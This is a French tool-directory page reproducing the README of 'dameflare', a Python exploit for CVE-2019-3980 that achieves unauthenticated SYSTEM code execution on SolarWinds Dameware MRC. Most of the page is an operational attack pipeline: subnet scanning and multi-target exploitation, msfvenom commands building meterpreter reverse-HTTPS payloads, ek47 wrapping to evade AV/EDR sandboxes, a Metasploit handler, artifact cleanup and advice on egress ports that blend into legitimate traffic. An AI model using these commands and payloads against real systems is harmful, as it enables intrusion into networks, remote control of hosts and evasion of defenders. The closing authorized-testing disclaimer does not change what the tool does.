Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
dameflare — Exploit Python 3 pour CVE-2019-3980. Exécution de code à distance non authentifiée en tant que SYSTEM via contournement de l'authentification par carte à puce SolarWinds Dameware MRC. | Kitploit
Outils/GitHubGitHub/boydhacks/dameflare
Génération de PayloadsAnalyse des VulnérabilitésExploitationÉvasion IDS/IPSTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceGénération de Shellcode
GitHubboydhacks/dameflare

dameflare

Exploit Python 3 pour CVE-2019-3980. Exécution de code à distance non authentifiée en tant que SYSTEM via contournement de l'authentification par carte à puce SolarWinds Dameware MRC.

31il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

DameFlare

DameFlare

Python CVE CVSS Platform

RCE non authentifié via contournement de l'authentification par carte à puce dans SolarWinds Dameware MRC

CVE-2019-3980 | CVSS 9.8 Critique | TCP/6129
Recherche originale et POC : Tenable, Inc. (TRA-2019-43)
Outil Python 3 : David Boyd (@Fir3d0g)


Comment ça fonctionne

Dameware MRC expose un service de contrôle à distance (DWRCS.exe) sur TCP/6129. Pendant la négociation d'authentification par carte à puce, le serveur accepte un fichier contrôlé par l'attaquant comme programme d'installation de pilote de carte à puce (dwDrvInst.exe) et l'exécute en tant que SYSTEM, sans authentification requise.

DameFlare implémente la négociation complète du protocole (négociation de version → dérivation de clé AES → échange de clés Diffie-Hellman → signature RSA → téléchargement du pilote) pour délivrer une charge utile arbitraire et réaliser une exécution de code à distance non authentifiée.


Versions affectées

ProduitVulnérableCorrigé
Dameware MRC 12.0.xToutes les versionsCorrectif 1
Dameware MRC 12.1.xToutes les versionsCorrectif 3

Installation

root@kitploit:~
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h

Utilisation

Cible unique

root@kitploit:~
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15

Multi-cibles

root@kitploit:~
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5

Mode scan

root@kitploit:~
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt

Pipeline scan + exploitation

root@kitploit:~
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5

Nettoyage

Supprime l'artefact dwDrvInst.exe de la cible après exploitation :

root@kitploit:~
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup

Nécessite msfvenom dans le PATH. Télécharge un EXE auto-supprimant qui supprime dwDrvInst.exe et lui-même après un court délai.

Sinon, si vous avez des identifiants, vous pouvez utiliser quelque chose comme NXC :

root@kitploit:~
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"

Exemple de génération de charge utile (enveloppez-la d'abord avec quelque chose comme ek47)

Shellcode brut

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin

EXE 32 bits

root@kitploit:~
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe

EXE 64 bits

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe

Évasion de charge utile (ek47)

Enveloppez le shellcode brut avec un keying environnemental pour échapper à l'analyse du bac à sable AV/EDR. La charge utile ne se déchiffrera et ne s'exécutera que sur une machine où les clés correspondent. Un grand merci à Kevin Clark (@GuhnooPlusLinux) pour son excellent travail !

https://gitlab.com/KevinJClark/ek47

root@kitploit:~
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe

# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe

# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe

# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode   -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe

Pipeline complet (Exemple)

root@kitploit:~
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe

Gestionnaire Metasploit

root@kitploit:~
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"

Note : Le nom de la charge utile doit correspondre exactement entre msfvenom et le gestionnaire :

  • Sans étage : windows/x64/meterpreter_reverse_https (trait de soulignement)
  • Avec étage : windows/x64/meterpreter/reverse_https (barre oblique)

Astuce : Dans les environnements Dameware, le port 6129 est souvent autorisé en sortie et se fond dans le trafic légitime DWRCS. Si le 443 est bloqué ou inspecté par un proxy, essayez LPORT=6129 car le réseau cible a probablement été conçu pour l'autoriser.


Avertissement

Cet outil est destiné à être utilisé uniquement dans le cadre de tests de pénétration autorisés et d'opérations d'équipe rouge. L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou illégale.

Télécharger l’outil